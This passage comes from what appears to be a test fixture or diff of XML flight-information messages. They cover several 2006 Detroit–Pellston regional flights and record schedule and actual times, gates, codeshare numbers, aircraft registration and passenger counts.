typ=\"2\">2006-04-27T17:15:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T17:54:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T18:04:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde>2863</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>PDMC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T19:06:12Z</msg_dtm><msg_seq_id>114616477200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-28T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-28T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-28T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T22:16:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T22:26:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T23:38:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T23:43:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>25</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T19:50:15Z</msg_dtm><msg_seq_id>114616741500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-27T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-27T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-27T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T15:16:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T15:35:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T16:22:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T16:27:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>2981</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks> 4:27pm</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>40</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>39</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T20:03:17Z</msg_dtm><msg_seq_id>114616819700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:17:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T17:32:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T18:11:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T18:21:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde>2863</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks> 5:17pm</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T20:03:25Z</msg_dtm><msg_seq_id>114616820500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-27T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-27T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-27T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T15:16:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T16:00:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T16:47:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T16:52:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>2981</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks> 4:52pm</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>40</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>39</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T20:41:10Z</msg_dtm><msg_seq_id>114617047000000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-27T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-27T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-27T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T15:16:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T16:00:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T16:38:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T16:43:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>2981</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Landed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>40</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>39</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T21:13:12Z</msg_dtm><msg_seq_id>114617239200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-27T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-27T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-27T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T15:16:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T16:00:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T16:39:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T16:43:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>2981</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Arrived</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>40</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>39</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T21:14:16Z</msg_dtm><msg_seq_id>114617245600000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T17:10:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T17:49:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T17:59:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde>2863</flt_radio_cde><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>ACAR9E</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-27T21:46:58Z</msg_dtm><msg_seq_id>114617441800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T17:10:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T17:46:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T17:56:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   